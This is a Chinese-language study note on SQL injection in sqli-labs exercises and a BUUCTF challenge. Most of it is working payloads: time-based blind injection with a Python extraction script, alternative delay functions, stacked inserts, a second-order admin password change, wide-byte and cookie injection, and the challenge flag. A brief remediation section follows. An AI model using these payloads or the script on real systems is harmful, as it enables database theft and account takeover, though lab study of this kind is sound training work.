2022.8.6 SQL注入_杂七杂八
Sqli-lab Less9(时间注入)
我们首先发现一个特点:不管怎么输入,总是回显you are in...
接着就可以考虑时间注入,我们根据他有没有睡觉来判断我们的语句是否成立哦。
借用上节课用到的if函数,里面执行sleep睡觉函数
我们注入
1' and if(1+1=2,sleep(5),1)#
可以看到他确实是慢了很多,那么就说明我们注入的语句成立
好,我们把逻辑表达式改一下,根据他相应时间即可判断。
根据payload
1' and if(ascii(substr(database(),3,1))=99,sleep(1),1)#
这边可以写一个python脚本
id改成以下即可
import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn
# 强制使用ipv4
# requests库解析localhost时,会优先尝试ipv6,需要花费额外的2s时间,所以强制ipv4
urllib3_conn.allowed_gai_family = lambda: socket.AF_INET
session = requests.Session()
def getDatabase():
results = []
for i in range(1, 1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
mid = (start + end) // 2
url = "http://localhost/sqli-labs/Less-9/"
params = {"id": f"6' and if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
ret = session.get(url, params=params)
assert ret.status_code == 200, f'code: {ret.status_code}'
assert '429 Too Many Requests' not in ret.text
if ret.elapsed.total_seconds() >= 1:
start = mid + 1
else:
end = mid
time.sleep(0.05)
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
sleep被ban了怎么办?补充:
补充:五种延时函数
- SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
- 笛卡尔积 Writeup
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)
- GET_LOCK Writeup
延时精确可控,利用环境有限,需要开两个session测试。
SESSION A
mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
- RLIKE
通过rpad
或repeat
构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
Sqli-lab Less38(堆叠注入)
即用分号隔开,注入多个语句
select 1;select 2;
分成两次运行。
比如
3';insert into users(username,password) values ('ljy','123456')#
可以看到执行成功。
注:堆叠注入不是所有网站都可以注入的
Sqli-lab Less24(二次注入)
这边实验的是创建一个普通用户,修改admin用户的密码,比如微信没有采取任何保护措施的情况下,我微信注册了一个账号,利用这个账号修改了马化T的密码,那我就可以登录他的账号了
注册一个账号,成功后的效果如下,可以看到是两个用户,为什么是admin'# ? 后续是有用的。
登陆后提示输入当前密码,和修改后的密码
而我们输入这样,旧密码随便输,新密码输入aaa,重新看一下表。
看到真的admin用户的密码被修改了!
分析以下源码
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_affected_rows($con1);
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
可以看到,用户名是获取的SESSION
而实际运行的语句是:
UPDATE users SET PASSWORD=‘aaa’ where username=‘admin’#’ and password=‘45646546532’
注:如果username和密码一样都是mysqli_real_escape_string来传入的话,他会自动转义,那我们就用不了了。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
Sqli-lab Less32(宽字节注入)
如果跟前面一样,引号自动转义后,那就会报错了
那有什么办法解决呢?这边一个思路是宽字节注入。
如果数据库使用GBK编码,%df%5c表示的是“連”(连)字,而%5c刚好是\的编码
我们尝试注入
引号前面自动加反斜杠转义后,那么就相当于在服务器上的是
1%df%5c'%20and%201%3d1%23
此时,我们看到没有回显了,表明注入成功
后面union注入,报错注入随便干就行。
但是遇到了一个问题
前面字符串里面有一个“連”字没问题,但是后面查询又要用到引号,那怎么办呢?sql语句肯定不能放中文字的
2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
补充:SQL查询语句中替换引号
- 字符串转成16进制
payload将其替换成十六进制就可以去掉引号了。
2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)#
- 函数嵌套
直接套用函数即可
2221ss' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())#
Sqli-labs Less20 (Cookie注入)
o当 web 服务器向浏览器发送 web 页面后,在连接关闭后,服务端不会记录用户的信息。
oCookie 的作用就是用于解决 "如何记录客户端的用户信息"
我们登录后,他根据我们的cookie值来回显,我们cookie值里面也是可以注入的
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() && table_name='emails')#
修复建议
1.过滤危险字符(waf)
oselect、and、or、#等等
2.SQL语句预编译
SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了
举例,
这边我就已经设定好id就只能是int类型,管你注入啥啥啥,最后都会变成一个数字,没用。
练习
buuctf: October 2019 Twice SQL Injection
很像less24的二次注入,但是尝试登录管理员这条路貌似还是不行
尝试在注册的用户名加东西
我们输入用户名
1' or 1=1#
出来了“Info十月太懒,没有简介”
我们一个个注入
-1' union select 1#
发现出来了1.
那么就可以开始了。
-1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
# flag,news,users
-1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag')#
# flag ,这里太长貌似会注册不成功
-1' union select flag from flag#
# flag{bc102e63-624b-45da-aa5e-1fff89ea0d1d}